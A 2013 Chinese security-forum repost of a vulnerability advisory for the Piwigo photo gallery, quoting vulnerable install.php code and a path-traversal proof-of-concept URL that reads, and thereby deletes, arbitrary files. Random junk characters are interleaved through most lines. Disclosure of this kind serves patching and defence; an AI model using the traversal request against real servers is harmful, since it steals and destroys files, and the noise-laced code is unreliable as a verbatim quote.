找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2939|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。. C" j( t: R0 P4 c
/ @. X/ r/ @" A2 _- x
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。1 T+ U8 _% V* r. w
====================================================================3 X" _* {1 T' X8 [
/install.php:
, q3 t( \- T5 _0 j" E2 Y-------------, Y" K5 j& T4 E9 j  Q0 X8 o" Y6 M
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))  r1 U8 }9 I& S% H. ?
114: {
" W0 ]4 H; j# w' F# P115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
* o' h& y* H- G) v+ y) ?116:   header('Cache-Control: no-cache, must-revalidate');7 v/ Q7 V" U% u: J: k% f
117:   header('Pragma: no-cache');, e5 e6 }: n8 {  y  m  \; o0 C
118:   header('Content-Disposition: attachment; filename="database.inc.php"');( Z/ y8 Z- e& V# O  ?$ m
119:   header('Content-Transfer-Encoding: binary');( m' C- k& h( W/ }4 L) B
120:   header('Content-Length: '.filesize($filename));
* c+ j# @, W" r4 g1 {9 W+ q121:   echo file_get_contents($filename);
7 k% n  t5 @+ h, n% ~- u% U122:   unlink($filename);
6 k3 D& e$ Y0 Z, e& c8 q$ V; J! r/ r123:   exit();
/ m. E3 G3 Z& @4 F# T# l124: }7 q; S& {$ H& i! F7 B2 V1 v, |
====================================================================5 I+ C7 A6 H& g) x/ t* N7 g

8 {6 n9 s; s2 k9 l  L' @& nTested on: Microsoft Windows 7 Ultimate SP1 (EN)  N( b2 C7 Y  K
           Apache 2.4.2 (Win32)
4 y) m3 o; n. V* r9 b           PHP 5.4.41 i+ [2 E7 x9 X5 P2 h  e
           MySQL 5.5.25a. l6 X5 v; T/ i8 t/ e3 t/ N4 v, a
: B0 }7 G( W7 e$ v. d- Z
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic! C& `7 [# C# F1 q, @: k9 k
                            @zeroscience) N4 I, J0 V' r, }

! L: d4 Z6 h/ M! A+ r5 p" z* ?Advisory ID: ZSL-2013-5127
! G* ~8 C) q  `3 Z$ m/ |Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
1 ?' g: V+ w8 ?2 ]( m$ l" lVendor Patch: http://piwigo.org/bugs/view.php?id=2843- }. J) O9 D1 w- M: v" r& ?

3 N+ `% u  f; C: k7 a15.02.20130 N: C2 r; {. H/ w  V9 L" T5 X

, p/ i; C3 b: q7 M--+ x! P) @4 `1 e* b1 }# t/ P/ n
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt# e7 j" ?9 d4 d; l( O9 O' Z# \
$ S! J0 O" k$ s/ z+ b! B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表